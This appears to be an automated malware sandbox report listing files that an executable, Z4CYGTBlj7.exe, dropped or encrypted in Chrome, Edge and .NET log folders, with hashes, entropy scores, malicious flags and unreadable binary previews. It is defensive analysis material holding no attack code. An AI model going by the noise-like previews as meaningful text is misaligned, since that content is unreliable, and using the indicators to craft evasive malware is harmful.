Preview:	.PNG.mF...)..9.G.C........_."0......N......A#'W.]...x.Us..YF.de.27.h.FIXY.....G\Z....\k.fl`.-.....,..........0S.5..`..x...(..'S..iH..U+M...{.....9..)..P......7...Gj...p.o..?..$...Q..9..J6.r..+.'.v/v.I.m........."B...TBg.q$8..)..b....T...0...4..i0..W...5...c=M.2k.g~.9w.>X..I..A...rn..!...2}...fx........r.....V.......m...........j...2...?.:g.@. g....B5......q..;..b.9.9@.p:....Cw.y.)..v.A..t.1Ta(.^...$(j&.c.n.{.X.....O6.,+.-W.q..9x...EZ1\|.`..\|Uh$.....dM.....B./."p..>..f..:q..z...0m.D..>@.....M...\|......<....Y..........,...^.z......&......k..a.."C0....r......a......`.g....I...t.F.H..Iy.O....1$9.j..t.;{..7.v.;...@.&p.F.&?.s..P.".Z,...'...'c...."3we... ......z....`1.?zf..H'?Y............w..r.;../X..}.T.....w..T.'....k.lH..~;........Lk.Vap_e73..),.e. .{xl.D.3FJ}..b.....5u}-...:....P..k... ...!<.u.S.H^..M.../%..^....PPxlsJ.Y.@4\.M....m.C...$..D..CY.s...Xz....\P..Y".v.i.<.~N.>..x.lTa...).x...R+h.]\|It...m.........'.jZ\|Rk.9.wht.r.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons\256.png

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	4903
Entropy (8bit):	7.956855398987446
Encrypted:	false
SSDEEP:	96:8lof/amBIXFmBNUx3bwDEZS+tGiUmr6YX7J06rtMD80+AwyQJL+:8lof/pymB7EM+tGiUme+k6PR+
MD5:	030D1909556B52F03F6D8474410AF7A5
SHA1:	340501F0A08836B952F6BB002900AF1E6E920991
SHA-256:	8A37F21A3BA588AFEFB980580B973726CE02362E16B1A2725B0663D107C89004
SHA-512:	401AC5CFB15D8969F0E9F89FD90AE44DE4AC6DCF902A6FF71860CA3522F06253A302FB042A469C2712309A0B3BEE4B0EB8B04D8F075EA74BC14D0D3C8A317F24
Malicious:	false
Preview:	.PNG...Z'...s...#}..[....."0.ZQ.~..4..7'3A=.V..r............=d.....v"Y..a..&.....o.A.(.c..v`.=K.....Y.._....g....v;.mR.@...q..TW..(......AG...N..9.j-.......p.O.p6..X.._......Zh.}......,.,4.,...}.nRR.A.`6r\|.z..d%..G.J.i....>.B.....^F..(!/...A.G..:....vv...o..-.P.n......$...S....`.4...I......s%..n.i.Zz..z.a.;.H.n...;g.St.eb....Y......O.........n..X.R.E.....L..uZ.vr._x<.Fz9..P.S.b..hH.m....5%......K......;".gi....1rv.v~.....<...#n..R..x:....7.....V...T...Fu....e5..W.%..g...!...;.Y.P*.epN.my%H.\uv.j..s....O...........m0.5..RA...r......bJ.....d.........^gcZ..v...O........hN.......p5E...n..4.3...bh.....A.s.Ww.V.c..tJ..D...nk.....~D..;.,.X7.G.I?....RU....\..o.2.Mx.k..'..0......Iz..`..j...oX\|W.qS}.I.0.....t.,F.N...s.Ud...f.....Tp.....UC(.r..,......(t.>..}.&.A-.RW.Mv...E\|5.x.../....Y.\|NZ<...E..X....}....... .w .f....&z.{.6OK...1.9D..u..T..t.w....<....2......]Mi...Z..k........[.."....]J?.+....-...........<..>\.....Va......y..R^...f....7....

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons\32.png

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1247
Entropy (8bit):	7.837094385179346
Encrypted:	false
SSDEEP:	24:zeIZX42OmbeK67KDSSSbiUkUGOGDfgeEGEZ7huS35iPsbD:zeIZdOWeK5lAUbgvZ7hHAPmD
MD5:	DD2AE6B60F2F6EF6F6AC6DFE1603FB91
SHA1:	074B9E96723A9A6B55A4A8BBE0C0A34CA46C5FF0
SHA-256:	80B2109AEE53F36A345D8718CB251D54F98416CD1E6F4529AE44B891F291A39D
SHA-512:	8462BC5B11EF222AD6285A035350D7CB7F7AEEC3D9B56A8421FAF81A58DDC1C20FB47CDDAF76DF590F9E2C1090BE17D9429FECA49BB231BD3B4B464D303A9F94
Malicious:	false
Preview:	.PNG..7.C......g....%...}..../.%...(p..4...,..3).q........q..3?I.K.G.>....i..,...\L.....i].9.....kc..3-e)...Y.......)7.rJ.M....2.$c..N...H.q..L.G..q)Z.P../[y.Z......f....,.:.~.....Q+...'.{O....Z..9.....wBa..,.S...z;..C....Q...xH...r.T.~&1!3e.n9p.\|.w.;.;J......v.f.....30.H....B...`.`~:.I....{...E:..f...5.\|x..V..=..B.x.2..v.G.Xka.~t..D....g.....,....H>..5.".bd.R....."....[`.J.l...i.\(.4..4.;^..i)`pIE...u...Y1\.I...q..'.j".....4..@9.U.o \|.X..W.^.@08Z.[..^...G....X...RQ2..z...x..j....J...M.M0l......G....Q....~..tE....go.^7......?..6..k.9'..b.B.+umY.c...0h.{..Tj!..X.....F.N.&..K.J$....+.E..xN..b.tT&.:.9..BR.:vu..A.Z?..B.Sz..d...(IW.\S..=.=.R...2.1:..k....^.tUb.\|r...r.j...i.5.....;..>.?...0.wrW.e....j..8.l...i...vNK..'.i=...$8B.m..L.\.. ..+.8.PP*..a]L:(.....]....._.z.....[...h......x.@.u.4...)@......}..W9......1..H:z.w..-.s.pO..o....../..;5.....n.0+<.....$2.z..Uu....\.\|......;.1".....I5=.x...n......Y.".r.M..Eu..g{.:2....z..1.o...."...;.)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons\48.png

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1422
Entropy (8bit):	7.852240181068468
Encrypted:	false
SSDEEP:	24:UIE0fZWtFEO/r5iASRfX9IYx1Ubioi0BvNQrLAiFaYsbD:nE0f7DXRSuoi0BvNQr8iFaYmD
MD5:	6ECEF183925AFFE19CDB5B5FE5A926CE
SHA1:	B139A6BEB4F65BA2398F915731E841E68F6D794C
SHA-256:	7B2CF2362C333C9CAFF15A41A01D204DC09B3867CA8428BC3C5EB210096B7BBA
SHA-512:	2A02448CFF23E43E8D0E03C36D0602465C3A17B5C3F7387EC9134B85D558909EE69F824ECFB98394624DE13BCBB81740BFE73E5A9B85F9D8A25FA1F8F7C89F87
Malicious:	false
Preview:	.PNG.[.f..V.......K.1"q@...B=..:..K..D...i...'...w.Jt......r..y.CZ.[.9&y.c.p..")..{.D~..&..ny%.....a..^..&0.._..W9.....!..?...,.e..QS@Al.85<...!s.. ...eVW..@.nR....wo....?.:..wL..)..s7.>.....c.H.P.+.t^.]>...-.H...~.v..(9@R.......&..M...z.....d4.r.....Z..........{(...9@...-....+.[P.<#CsB..p.......r5..G.W..j.k.....O?$7...%.........I...{$y.Eew......L..d..x...... .../.F..6...{...2...[......-..stpJ.!.......j. J9.....10 .z3.gL..D7.}...i.."E.{.1^N.K.Q..h.......V...,..0..$....<v.f<T..........h....+..........h.X..C.....\|..r}{.....s:..O....>Y.y.N.y.iD.=.b~S._.??.\|..^..p...#....R.p.d.Nw..I.tO2.i...P..p.s.,....c.U_..H..Kp..O..Y.G..p'tT.:p.g...hT..:.1.3y.......49.u&4..b"c...oq\:...k.4".-.Z..Sh...........v.$RT..3C....].I.....{......d......N#.w..\..E,..K..HZ.l*.bZ.tL.~A...c...3. ..`ZT!.....Q.?<..9M\|...x.]..D.=.;..0M.z./...NK.7.c....Wa.S.2eKXY.y/...}.PN4.&....T'w..c.k..al..P..T.nn.9eds..R1..I.a....&d........Jf....%..".Lg.(...J......4U.V..-....P.t.i^Vf.0.I..r..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons\64.png

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1566
Entropy (8bit):	7.879283750976988
Encrypted:	false
SSDEEP:	48:Ez86ywUBwyBkh0o+b5V1Cg8LyBb2A3O02OmD:j6y/WySyb5V1e2BnB2O+
MD5:	8A75D114E591C3E1257AAA2DB4CF11AC
SHA1:	5C7DFB03AFFD1A899129862A24893DB089E988AE
SHA-256:	738531000B39992020138C092D228CE52D23CBBA58EB5DBD6BCB5C589FAC3260
SHA-512:	4A3BE21053B12E12B1B54E2F220CC7F8390CB3C7C899C6EF4931C88B58DF832048617C16569211126DE2FF2D4B54109E21495EA725A5672630DD91859205867B
Malicious:	false
Preview:	.PNG.....{....6fI.h..R..zy..YdH\|.ZH.{j..F..@ ...':'...CX.#...E.p..$....+............Yi......F.f.......@J......UPr.mo!.f..Z.tc.^..hy.ty..(.(7..&?..z..~.y1...U..eS..{T.....^7..&...8....'V..^S].,.m.YY...2k...n$E.%...dx..R.<........^.q5...;.r.G.(.?=..c.@..\..;.L[/.S.AcP'........1...K.\q.L....u>>...].: ..1N.T.r.0qC.C(.G.\4.s.......z}..y..0.+..L...n..xh~3.:.......;.skVJM.P^..A....v.+.5Jm....?9..b...[....}aD.J....]$...)F.H.4..x..O.g.en...f'..5V..N,s.,W...U(..Jn.{Y.....&.u.%....I..2...b..%..q.,.....-F.M..1[.E..;.Q......0Q.D^f..-......t.0lJ...r..?.6.A98.jk...U.l.TH.^Txe..&.A\|.@..p.....)..GM.rm]?.)......#Ge."i3.....6.....C..0&..~w.h...V...........K...u~..Y..8$-C.>..RX......}c.I3.@.e.1..xV&.C..8.%........F6.'\L.....2Q.....`.:.8V.N ..R.}...v....>.R...Jbv.l....`0~..85......A......J;l...{..~..p.o....Mf..}.....F:a...r..]j)r..=......B.%....'1...>Th....3F.<S.d......fO.p...{...U9+...V....Z3.n.+A..u.#....D..6.b....q.......#2........^j.ew6u...~...

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons\96.png

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1802
Entropy (8bit):	7.888859322725041
Encrypted:	false
SSDEEP:	48:g8/W+oGllzOI12cNOhCZczoNepbgWPmIeHqfmD:g8uEylcg4ZcENqgWPmZKf+
MD5:	F43AF28B7B993957949B540FB2E5F71B
SHA1:	68DC1E20C13FB68118FD8F543C66FD89AF83603B
SHA-256:	B00F29E4428F40DE328668AD2C99EB9D26EFDC3E1B098DB5C01FFDA2AE22DAE5
SHA-512:	F829B3B0370FAFA447F73D063ECCD06B4C75A867C7E063D1931E7516311A4D37EC0C02D0682195EFFEEAC4A7904C1E96920572083EDAA53F1F5D0ECA66B76D33
Malicious:	false
Preview:	.PNG....t. .K..ZY.a.)...I....3..\|..raX..6s.........59t.g..f/:..,&l.L.....A.a.4.h.H..k.x...tF..+.z]..m...X......Ha...h.V=..pM......M.......9....t..G..$8.."..]).......a.o!7.R29K..:.k=...(......4x.>.S.@s....4..?.P....l.!...}..J...T1....K..fH)..7.M....x..=..T...N...?.a....,.`...S.)..."..l.su.H..aj.....u..3...^z.h..\|..p..eY9.A.=.(.\|#...1..D1....7..8.w..2D.O.W.....2..&..../..._.:S..X......a.%I.....m...z]F...^....r...:.n9....T. .q.j..\|......'4.=....3..H.R4.AsX.Q'J~mH3..!V....z.....D..&..B_.......C..oz...8.tXy..;...v...J.r.X...h.....nj.k.:..P..V.X..zC...W...E;f.i...%/...`.{j..\.....Eb......@....%F\.w$..U...Un.g54..g.%.Z>o.T.>B.D...k]..(...<....C:.......e9y,..>.I..:.w.^Z)>u.WMO...q...Y\......ce-q.......Z.&.O\....(...U..J..W..Cf...y....5.V..Mn+...Sd..'....m.=...}>1.].v.1.7...$...].....u.0R...z....z....3.zAYM...h....*.r..'......8?Q.."...a.y...&...K.q...d..?...9.A.....g.A.9..!....9..N..C..Z..+....h.2.>f...n...I2+.Q.%...l.N.a.&.o.$...x.N......D.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases\Databases.db

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	29006
Entropy (8bit):	7.993654773165718
Encrypted:	true
SSDEEP:	768:ZW7HdkhvW1haBNnZt5HZnlsIdaBlwEy3O21R:6cUh2fttEIdawEqR
MD5:	EBFD8189DC31342EE63C9F4A962A3CD7
SHA1:	88C978E29CDD189356674A3E7F3D3BAF3DF2BE2C
SHA-256:	E5BECFFCD29DF11B852B88D9EB41034F3BA81EDB05BDF502C37988B08E6AA2EC
SHA-512:	492ABF1F5B623ACE76AC80C6B16962E61D3CD2C6931C45086832551C64C683811385E0743ECE7EAF31E66A72D97B9EE40BC6A17D8A8F75302C7822E5E378D1AF
Malicious:	true
Preview:	SQLit..w.s.F?.-D-s......2.3j<.V,.,..@0'.5.../.. :..}..C.5&...4.+b.t ......Mp.....--Z..I....E...>.dD7g/..0.;^..Yc...2lz...b..%.r.6..o:..z....z....\..).!....V.{.....}Y..F....a.=[Q>\..Q...xOH.;.....@z?.Q..].^..tH...'...XLD..~.4t.Y./e.6....\|.............(YMvG1....E..........H.+...{...&Y.h...3...]..^...s.m\.~.Q...J. .I.?.HuLQbwVU..{.Z....{......(.(}.j..8.......!..]..qvn..'..$x...n..v>..@.k........[97..J.)...j_.$/m0v>4.f..;(.l'.....v..nz.:6...;...6x.v..P...Bk....dK.l}....,QBV..o..CCYml&.].%...8...N.8...../.i.,.RK.@...................n...V.`.<.J..;....h...+..@....%.e...a....J< .n..F..zL#`...>........T.d......6.....3...x.A.I..\|...^.1...01q...ee...../v.......2.b..s. ....}.sM....;.'.......}..nU..UU.Q-.I;...0i@.,..&+..x....e.8.E....+K....BH......z&q...(L..`kz.;...U...?8..K)p..Q..~$...^.D...o/.......H4.2...C....e@t.T..8.h.....I~..".V(.IS..47.S`.......;Z.....c....~..<.k}A.E,....A~:...},H. ={..^v..h..k..=....[T.^.&.)..KD.6..M@.,_.....FQ.FA.,C..L.?..].3=.?..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	58432
Entropy (8bit):	7.9971707530393985
Encrypted:	true
SSDEEP:	768:9qhFIaYp29V2yWC254R22bmuSVr95gXedyQT9L8qALmlRWgvv5WzuuZ9e9YGIL1T:ghAp2rWUHqua954ajvW+aaqL1+KZ
MD5:	B4FAEFE9EA8C6E3986623FCFADF1C397
SHA1:	4082D81759D92758DB214AAC8CA3B8846A530055
SHA-256:	2F2FA1B56FB77C68A6C289D919E2404854C32D065785F7BA6CCDED6B6D699966
SHA-512:	9E01DE1EE3B6F711110034711D176A216133F494B8F1D0FC9BE35B41D8E11AC55C6B09BAB60A2AF90D3889339C9CCAA320F305BEC50F8BF76D3FA5079EDE8DB3
Malicious:	true
Preview:	A..r...I..y....E.L.Y.E]....J...-Uk..VU..#..S.hFm@@.R..;.........i8K..ak.m...^...Y"=..S..S....;.!x.<=k%.8.I....3Z..t.C..,...}qA......e.F...F7........Uo..b.....o".C......n.+.L..E.....F}.W4..9...sl<N.&8._t....v5k....Pa.....m....3.....1...e..a.....\v....B..H..X.....6=.F..7....7"8u...-(.&......_.....4..Y"T....Qr....D.@Y...Y......&F.M.y2..a*.....jM....U......R>M..?.E.....:8..(..k-.W..........f..).....PO.h...F.\..j.'.wz.D.c.M..._i.o...~.0.=...M...L.s.....5........:..cuA}..ZV........2 .A.8.}..8.....r....I...@,.[...m.,=..]...9v.\.U0_......h.X>.....7<f,..M.wR7 't...2..\|.v5dd...1.X................3.....>T....1..A..m.......nGn......,.O].T.S;...x.3.+....EsY..H.0(46.....1.S.......Q...y.H.sD\|u......[....uxJj..P.3B....`W0...\|.jhZ......],....Sk;a{K..>.J..I.ng.L.(+_...l.....7...1....!t..fy.T.H....?.-l........k....x..;...._$.o..\|99......#..K.g...b.C...........G.u.L3.w.v...g...4Y.4..D.......-.]..~f...Q...5tj...tTz..s.U.)%.8...8-,3......P..DD..e

C:\Users\user\AppData\Local\Google\Chrome\User Data\first_party_sets.db

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	49486
Entropy (8bit):	7.997050463249526
Encrypted:	true
SSDEEP:	1536:M/AMm1/LS5iEp5o8Rfs5vOzwUrWZg16zYx:M/Z1lpCbOzrrWZvk
MD5:	BA9F98394A7DA8240B624B498FE60D50
SHA1:	4825E106CE8ACC25FB30C878CD2B5D440A24E203
SHA-256:	B459C36057AD6205FEC2B89BCF434B2C0A9EA9439AA937DDEA037D7AE92DFCE1
SHA-512:	942A32ED9EDA373DDDF4717C59EADCB6C1AF542444EE2B72CF82DA240575BCEFA3BAA63CE7FF1855EDD4BEB53F2979D119BD595AB2932226A690C2D31CBC5C49
Malicious:	true
Preview:	SQLitZ...4..&Ih...._.b..[a....dT.%E.T...4X....\.....q..._......?....n.=G.o......&F T.l9.7......g]J...w..Y..y..V.(.....D.t.y.T.y.0f.\|.=......].2.8h(..&.c....2G...Y.pt._).......7..T$...f..S.....K.N....ek.+$......P!uC...^.8.)........].6.M..i..6.5.....jRX(.d..<..<.H.......`l..Rm.................`..#Pf.'.4_...X.C.}.v...^3T:"?.u}BP..K'.G...(.zb... ..').e...)<vD...w.......Fh......t..]......Y.........i[.9.. ..7...q%....s.>.Uz.;...M~....d.b/Xt....)He..bX..I.....U..o.M".h.........A....m.n..\|~~.c!....#........A.SW.4j..&..J....U.\|..wPhK<{/..8`...Q......z...J?...,E..p........4..$2...?...5..[....6H[;..3i....{%-..~@TD.e....c?.]Iq.Q=..\|.......7-.`@I...iG.[.X..9..-.>..y'.X.S..=.M.d.4{....L...&....(l.gJ^4.B.%.r...6$Ppv...kf...O.F.....9....w.v. .f....a..4...."<...'..x/.]...5.G...iZ...W.(...HU.!..&-.E..(..;......FKVQ '.X.l.\6o..-'.....6..;..b.B..M./\...c..#v....Im.6HJ......O.r!....(.=.o.K.....r$Dq...m#...Ys..q.}.E.C..W\+.k..GG.y.*.S[;...@'.BV.......Y

C:\Users\user\AppData\Local\Microsoft\CLR_v2.0_32\UsageLogs\unarchiver.exe.log

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	354
Entropy (8bit):	7.337831708458905
Encrypted:	false
SSDEEP:	6:QM7B+xz41NXw5DPeMyTK+w2Zs/2CcN3ikiAugZkjIRWXNoMa2MEUQW3cii96Z:QM7Ixz4DwBeM4K+IWSkioZ4OWXNoOUQ+
MD5:	06C992151A3EBE11B5FC104660DF70EB
SHA1:	AF2850DA5439ECFC782CA7A7C857AB63183E88F9
SHA-256:	4B58393F94A68F2FCFE3C0F9882C9EF1A41F4B316AF36069EC2FC5FACFCE1804
SHA-512:	9E7105572AF55F95283D941810CF2DBA629EE872178015133CC8225621ECFB976974CACF9C879F0756B60F1756F1A5D653A9962E3492A012CB0130BC0989872C
Malicious:	false
Preview:	1,"fu.y9.....}....C......-....;....G.c%E..nKGcZ..OF.U..b..s...(....m....5I..q.Z.[..?3\h."..,..\9....UI..;.^...^.ae.......3.H.......hk...[V..).s........4.......w.....:..:..A..........CHN=......`.1-.*.\"...hJ...5..6Y%....o...i...f..b.>...e..X:..z..........8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\InspectorOfficeGadget.exe.log

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1554
Entropy (8bit):	7.883029011957
Encrypted:	false
SSDEEP:	48:VjZUI+6gRm/6Dtt5jqIDoKStSq6MTIGD3ZZUQuTmD:LTgRmCuIv1GTZZUQuT+
MD5:	28962836D927B6268712F3172E18079A
SHA1:	C2C2B5142E1420EB298B76F0B01C18FCE9969C60
SHA-256:	395E8F11B8E03B0B7E1F7B5E170C60AE4FF665379EE47FDE889D76DC168836EA
SHA-512:	9B30FF35EE4F14A0D238136E7F443B03434A67462939AFD83F219E7B59C64AD1A709EFAEBB950FC669106C585D01F534B7C43CB217155FF052DAC8ECCD20F7D3
Malicious:	false
Preview:	1,"fu{:(..y....x..;.D...e.t...L".r.\..,x..I%C._@........U.........k..+....[..@..\|H&.....ghn...X.@#z..m.].]._`.M$^....Q.,b.c7.U.q.....X.)...~....}.gm.[.j..w..N.........J.!).......6}%'w`W./..?..e...ZZ...$.'..UZ...X.a...g.W...&.R..\..!..U}..~.J..+......C.:.Q'......v>.o.;.@?3M [...~:.X.F....&$E....OK..j..(f.....2.Tt.`"K..`.b>..24.VPL4...y..&.H74......-....+...}6l..[.Y.%F.....%U..e......l.%.Pi'AB..<..7JK8S......L.....T...6....)..}.E.\|![]U...8^VbJ......W....E.6...[.W.....fQ...d.....V...L.&s1RA1.bM....$......gSQ.I"...WVi...J.?.8/....Ay.9gJ....m;D2U5.U.s....G..%f...!V.p.8.92..$=`...u.'.....o..+!..]o...(._-._o@....>.&.2.....6\|.]....y%..qr..f..e...-Q.........."..J.N.P..!L~}....G..2k...D;LX..j.j.K...Q(D.!7.$...\|.0a.....a.PY3....W'.8h.f.H@<\|"...q..h.Y...:..S...k...:#..D....H..I.C..J...kwb.l..zQ...-.L^.........f.d.4..-.....+.xm...GX.p^9J.....M.3.=..Y.:.....U..W..C...5y).Vpi7...$S...@....SAX...t....eOr.2.J7W.......1...V.]E..mZ.W...O.VNw.....J

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\NGenTask.exe.log

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	976
Entropy (8bit):	7.779252399572142
Encrypted:	false
SSDEEP:	24:aFbkYYHelGP3wp2H/nSujU5OZjuWAC1HXRG9QULyfsbD:8kYYHsCNPvjxduYPULyfmD
MD5:	C4F1493A4B32DEEC9F27CB65B74BC6AF
SHA1:	8F2A540E015DD69713A95B769B759845E741DD5B
SHA-256:	F89A18E5BC42C685915A9F8CB3C40CAAB61250DE93EFCB2199496491EED6FB36
SHA-512:	7FF29864597060E356BBA0658E4A61522BCD6F942BFEE1769A5FB638CD70650B6F351E95BDAE3630B3128FBBED6C3FECACDB1F10868AD22DFECD16806E7BE139
Malicious:	false
Preview:	1,"fup.......X.]....40...J...'b.E..7A,.5.&. ..P.M(...r.I..$.....B..Z/].$...5....4..Z.~.....m.2{...9.~b.OV5.5.^.......9.\|=.....nD.7........9[8..\.?.{..x6...\.~.....h_....<.....B...*P`...I..j&.....tw..$....E&..b...k....:{...Z E..If....j......o}.(.<.~..d.F0..../iIM...\|"..cM.-..v..g. ...4ex..6.........0@....j<...Z.!f..j..?En.JS.Y..Z.)..\D....f.E?..T....Q.._..w....Rr..._.<.`.i.)!w......-T...~...oq.......7NV?.ue...C9:..Ty...&.-.4w..%lg.....N\|.9}7..!....Z..._....dSM.L7.M.>.<.?...#....".C<.:E6z...v8'.......\|..1.6P.)..i7...[_[...?..z.P.....RC...7.,...c.~.x.1.a..~.N...OIU..w....'3..R_...(.a.n.8Y.@>^.(.8.{>~..t..C..{..jdrZ.......}%.U#..........h).i.F......../^Ls...Ef......CE@...f.[g$.g.....Nr..fk...M..h.2...kb..7...nC.w.z.L...U.....c.T....K.EL-..A<._v..5..#..C.5...C.A.c........{.r(a._._rR.]5D..h..s.u.o.w..I..a8../.."}........=.....@.K.J6.V.......?...3u8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\NGenTask.exe.log

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	976
Entropy (8bit):	7.824898455390669
Encrypted:	false
SSDEEP:	24:SFmkcZHJzhxo8aZTFHpZAFF9L9G22JRVmzsbD:cAZXovZTNpZAFF9P8jmzmD
MD5:	CCF357E09DD7D6ED31BBD92189FE076A
SHA1:	C44BADFF7E30547718FAC64A9A573CA7527E62C9
SHA-256:	A112A7C4FFBDA5285C242AB2390B1A251E054AE1D0D7F73CAF288C39E3B0E0A0
SHA-512:	4827EC9765D125F7A501C57287A7836CB76AC8C3324E71513A14FEAA323738CEF74B9D999DABA38C7BD262C87CFC363D10850C99316B6B6E3CB3889AF5930D19
Malicious:	false
Preview:	1,"fu.?E..s.O.u.lv.N....s.H..d...7'...N..>._.^.1W.\.....3...e:.(..-..B.]...........U..\.l"o......?p....f..g.f.L..>,6.X+.....@"..p]..g1.....dQ..0.....2.hu..X..Q3...w%...vk/..q.j.5...k. ........5.!.s.a.&.....,L..6.....>..P)...[....+.?....m...(9........e....h..;>.x........j.....Hc.&..Mc.a.}..epwq-.qU..I...DW....&.......N .D.+.A.)......U..T...D..J...H..`.....A...%.>...n.o.....%...l@.i#.......X.L...i.I.\s..z7..w.O../....&,od..9\....>..m...x.E..L..p[1..V.r.L.)....CR..;.7.U=.._X.%x...._..%6......#....nwo=..p.....=...XF.....B.\|]_....._n.,..E.........0m#.C.h...A..KY...=F.k.P........Qy..<.^g.'.YZ).d8..>SX7f.....\?.~V....\O.........b./.gm...m..<.Gk..N..(.Z..q..P..A..t.:.....S.G.O.T(]\.j...o'...}3....#k.x.....W.#..vrJev<NI...JP.1?.x./^G.y...^.2.T......"...iL`...(.1......I.*S....T..%.?1....7....Rn.f.Eu........X.lS+........w..4......8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\AutoLaunchProtocolsComponent\1.0.0.8\manifest.fingerprint

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	400
Entropy (8bit):	7.36222414382986
Encrypted:	false
SSDEEP:	6:SMC6p8J21CGaoM2dQGan4IleNJ6XAFun84YU2kBkRxVMLQAdw+Q/SOnuOv2QW3cq:/CWCGaigINJ6XN22kCLQAdFZFQscii9a
MD5:	90F734C3414C7B2C83D486A3739B42C5
SHA1:	C2DA0601587B1165817F8F75C45CF51032D41C04
SHA-256:	D68C548E44EF2F0A73A0961CF42E9C7E25A70FF582D1E780D9D3409B636661AF
SHA-512:	4D18C7C767784BEFEBC0A25D5EF2A43ACECE6BD2F0D6C025B2895D136283E4827CB4E55CB559E2C57947E4BE1278D7039651F929157B2C4BA528F19CD7625B56
Malicious:	false
Preview:	1.8BF....\|._e.v........)!P..*.......+.C..j....N1r..p5.;...O .%)..........AN........#>...F...De..'.....lv.Da..../...>..0<j..9J......-.LBg.>i.HZ.!..P8./5.QNs.,.."}r.F.M..lMz.S..\...+....&i&...<>.....].yt.o..k.g'......KW.u.....E]_#......s.rW.U..&../.dj.....0).\.N.\-.L.{. .......8..Y8.y.+.2.-...&~.4'...s.U.b.....H.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\AutoLaunchProtocolsComponent\1.0.0.8\manifest.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	468
Entropy (8bit):	7.509655045461581
Encrypted:	false
SSDEEP:	12:lxCKt1T/MjsOwxzjC+IypXeld00RSOBJIGinNQscii9a:lkKtp/MjsXzjC/AXelu0jBJmCsbD
MD5:	EE1BED61D1646300D174680B7DF0FA62
SHA1:	EB15D1D297CD7BB26EF5C0635C009E617DE69BE0
SHA-256:	EBAF37F12CFDF6B671ABBAB212AF86978205E090F7FB8A11557DCB2ADBFEB92E
SHA-512:	56C2158DD6B379B4D9F316A0FBA02A14D873A3C1A31F5ED45B70FAAD220B5CCAAEF3AC522246027FBBEC4390795E9360FC64FB7D26121421B75B20F49E2BC2CC
Malicious:	false
Preview:	{.. .............`."h.F./..:Sj..l...q..s...0.x.l.NT..jA.$.M.C........<\|....}. .x.......U.H]`..qv.w.0..)....^\.....l.r._B..4..(R.B....>Os..p96..........h.,...r..2B.0cy..!.Vry.........0(.......v..F..5.j..}.XU=o.R.WY....U.....&9..........6r).b.9....n.......cU.. ......v].^.#..E.4.......4<%.HDV.......voH..}....q;...J....2...X....d.S.G.c..?"].[..O.a......y..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\AutoLaunchProtocolsComponent\1.0.0.8\protocols.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3498
Entropy (8bit):	7.9495360656459795
Encrypted:	false
SSDEEP:	96:dIzsxWXVjWfg6yY6SmGzPBC+rY7Ela5v+:d7WX/6yLyFZUx+
MD5:	74657857FC59C1E4192D3B6A958AE2F6
SHA1:	54003AE76968A9653FC285C680D57DDF1C5DC8B9
SHA-256:	0FB5E76A8E0768163F1FEF70722CC09D29B949736E7683A9E624326A2A018F2C
